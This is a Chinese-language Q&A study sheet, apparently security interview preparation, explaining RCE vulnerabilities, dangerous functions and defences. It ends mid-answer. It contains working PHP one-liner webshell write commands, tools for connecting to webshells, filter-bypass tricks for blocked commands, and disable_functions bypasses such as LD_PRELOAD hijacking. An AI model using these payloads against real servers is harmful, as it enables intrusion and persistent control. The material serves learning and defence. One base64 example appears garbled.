1. 什么是 RCE?
RCE (Remote Command/Code Execute) 即远程代码执行和远程命令执行的统称,指攻击者向后台服务器注入操作系统命令或代码,从而控制后台系统,分为远程命令执行和远程代码执行,属于高危漏洞,常被统称为 RCE。
2. 远程命令执行漏洞原理是什么?
核心原理是应用程序未对用户输入进行严格过滤,将用户可控输入直接拼接进系统命令执行函数(如system、exec),导致攻击者注入的恶意命令被系统执行。 例如:应用程序通过system("ping " + $_GET['ip'])执行 ping 命令,若用户输入127.0.0.1;ls,则拼接后命令变为ping 127.0.0.1;ls,其中;ls会被作为新命令执行,最终执行ls查看文件。
3. 远程代码执行漏洞原理是什么?
原理是应用程序将用户可控输入直接作为代码执行(未过滤或过滤不严),导致攻击者注入的恶意代码被应用程序解析执行。 例如:PHP 中若存在eval("echo " . $_GET['input']);,用户输入1;phpinfo();时,代码会被拼接为eval("echo 1;phpinfo();");,进而执行phpinfo()函数,泄露服务器信息。
4. 代码执行的函数有哪些?
代码执行函数指直接将输入作为代码解析执行的函数,分语言举例:
-
PHP:
eval()、assert()、preg_replace()(带/e修饰符)、array_map ()、create_function()、call_user_func () -
Python:
exec()、eval() -
Java:
ScriptEngine.eval()(如 Rhino 引擎)、Runtime.exec()(间接执行字节码) -
JavaScript:
eval()
5. 命令执行的函数有哪些?
命令执行函数指直接调用操作系统命令的函数,分语言 / 场景举例:
-
PHP:
system()、exec()、shell_exec()、passthru()、popen()、proc_open() -
Python:
os.system()、os.popen()、subprocess.call()、subprocess.Popen() -
Java:
Runtime.getRuntime().exec() -
系统层面:Linux 的
system()、Windows 的CreateProcess()
6. php 能远程执行的函数有什么?
PHP 中可用于远程执行(代码 / 命令)的函数主要包括:
-
代码执行:
eval()、assert()(5.4 前)、create_function()、preg_replace('/pattern/e', ...)(PHP 7.0 前)、call_user_func()(动态调用执行函数)。 -
命令执行:
system()、exec()、shell_exec()、passthru()、popen()、proc_open()。 -
间接执行:
include()/require()(远程包含文件时执行代码,需allow_url_include=On)。
7. RCE 漏洞有什么危害、利用方式及防御措施?
-
危害: 攻击者可完全控制目标系统(如读取 / 篡改文件、窃取数据)、横向渗透内网、植入恶意程序(如勒索软件)、瘫痪服务等,是最高危漏洞之一。
-
利用方式: 直接执行命令(如
ls、whoami)获取信息;写入 webshell 持久化控制;通过命令提权(如sudo、内核漏洞)获取更高权限;下载恶意文件(如wget)扩大影响。 -
防御措施:
-
输入严格过滤:用白名单限制允许的字符 / 命令,禁止特殊符号(如
;、|、&)。 -
避免直接拼接执行:使用安全 API(如参数化调用,避免
system("cmd " + input))。 -
最小权限运行:应用程序以低权限用户(如 www-data)运行,限制文件 / 系统访问权限。
-
禁用危险函数:通过
php.ini的disable_functions禁用eval、system等。
-
8. 一个站点存在 RCE 漏洞,如何 getshell?如何利用 webshell 进行连接?
-
Getshell 方法: 利用 RCE 执行命令写入 webshell 文件。例如:
-
若为 Linux,执行
echo '<?php @eval($_POST["cmd"]);?>' > /var/www/html/shell.php(写入 PHP 一句话木马)。 -
若为 Windows,执行
echo ^<?php @eval($_POST["cmd"]);?^> > C:\www\shell.php(注意转义特殊符号)。
-
-
连接 webshell: 使用工具(如蚁剑、菜刀、冰蝎)输入 webshell 的 URL(如
http://target.com/shell.php)和密码(如cmd),工具通过 POST 请求发送命令(如$_POST["cmd"]=phpinfo();)与 webshell 交互,实现文件管理、命令执行等操作。
9. 想要查看文件时发现 cat 被过滤了,怎么办?
核心思路是用替代命令或绕过过滤规则,常见方法:
-
替代命令:
more file、less file(分页查看)、head file(查看头部)、tail file(查看尾部)、nl file(带行号)、od -c file(八进制显示)、vi file(编辑模式查看,:q 退出)。 -
绕过过滤:
-
大小写混淆:
Cat file、CAT file(若系统不区分大小写)。 -
变量绕过:
a=c;b=a;c=t; $a$b$c 文件名。 -
编码进制绕过:对命令进行 base64 等编码处理后执行,如
echo 'Y2F0wqAK' | base64 -d 文件名。 -
字符拼接:
c''at file、c$1at file(shell 会忽略空字符或变量)。 -
转义字符:
c\at file(反斜杠转义)。 -
通配符:
ca? file(?匹配单个字符)、c* file(*匹配多个字符)。
-
10. 如何绕过 php.ini 中 disable_function 的限制?有哪些方法?其中成功率最高的是哪个?为什么?
-
常见方法:
-
LD_PRELOAD 劫持(Linux):上传自定义共享库(.so 文件),通过
putenv("LD_PRELOAD=/tmp/evil.so")预加载,劫持system等函数实现命令执行。 -
PHP 扩展漏洞:利用
imap、gd等扩展的漏洞(如imap_open的命令注入)绕过限制。 -
FFI 扩展:若启用
FFI(Foreign Function Interface),可直接调用系统函数执行命令。 -
Windows COM 组件:在 Windows 系统中,通过
COM("WScript.Shell")调用系统命令。
-
-
成功率最高的是 LD_PRELOAD 劫持: 原因:兼容性强(适用于大多数 Linux 系统),无需依赖特定 PHP 扩展(仅需
putenv和mail